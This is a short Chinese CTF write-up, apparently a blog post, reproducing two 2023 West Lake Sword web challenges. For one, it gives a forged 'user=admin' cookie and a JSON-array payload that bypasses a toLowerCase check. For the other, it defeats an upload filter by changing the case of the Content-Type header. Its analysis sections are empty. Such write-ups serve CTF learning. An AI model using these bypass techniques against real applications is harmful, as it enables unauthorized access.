西湖论剑web复现

1.前言

先骂自己：真的菜死了，这么简单的题都写不出来！

复现环境：https://shimo.im/docs/KlkKVwnvgrTV44qd/read 对web菜狗的我及其友好，之前一直找不到环境复现。

参考wp：

https://k4d0n.top/2023/02/03/%E8%A5%BF%E6%B9%96%E8%AE%BA%E5%89%912023writeup/#Node-Magical-Login

https://www.ctfiot.com/95359.html

https://mp.weixin.qq.com/s?srcid=02041Or5PdRhq0E3eVFdRlXo&scene=23&sharer_sharetime=1675441637076&mid=2247484485&sharer_shareid=7cdf2b65dd1cd720f1eba96d6b3007b5&sn=2e6fad60aee4047ca0b7418b2e0c4e1c&idx=1&__biz=Mzg2NDgyNTAzMw%3D%3D&chksm=ce623fe3f915b6f5705d2a709987bd79cf616c5f7efe7a5422d41f6e516b426015fdb82a4652&mpshare=1#rd

2.西湖论剑web-【Node Magical Login】

过程：

访问：http://80.endpoint-980e7909452440499d7db81e338dd5df.ins.cloud.dasctf.com:81/flag1
application添加cookie: user=admin

访问成功：You Got One Part Of Flag! Try To Get Another Part of Flag!
在响应头中找到前半段flag: DASCTF{873803822

checkcode为数组格式绕过tolowercase: 
{"checkcode":["aGr5AtSp55dRacer","aGr5AtSp55dRacer","aGr5AtSp55dRacer","aGr5AtSp55dRacer","aGr5AtSp55dRacer","aGr5AtSp55dRacer","aGr5AtSp55dRacer","aGr5AtSp55dRacer","aGr5AtSp55dRacer","aGr5AtSp55dRacer","aGr5AtSp55dRacer","aGr5AtSp55dRacer","aGr5AtSp55dRacer","aGr5AtSp55dRacer","aGr5AtSp55dRacer","aGr5AtSp55dRacer"]}

原理分析：

3.西湖论剑web-【扭转乾坤】

过程：

随意上传个文件提示：Sorry,Apache maybe refuse header equals Content-Type: multipart/form-data;.
然乎吧Content-Type改为Multipart/form-data就好了

原理分析：

4.西湖论剑web-

寄。。还没来得及复现环境没了，，